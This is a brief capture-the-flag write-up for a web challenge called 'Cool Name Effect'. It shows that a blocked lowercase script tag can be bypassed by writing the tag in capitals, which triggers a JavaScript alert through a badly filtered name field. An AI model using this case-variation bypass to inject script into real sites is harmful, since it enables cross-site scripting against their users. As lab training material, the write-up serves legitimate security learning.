Cool Name Effect

Webmaster developed a simple script to do cool effects on your name, but his code not filtering the inputs correctly execute javascript alert and prove it.
  • Link: http://34.77.37.110/cool-effect/

Solve:

  • Steps

    • Trying the normal “script” tag doesn’t work and it will be replaced by forbidden: 
        <script>alert(0)</script>
    • Trying the SCRIPT tag “capital” works just fine: 
        <SCRIPT>alert(0)</SCRIPT>

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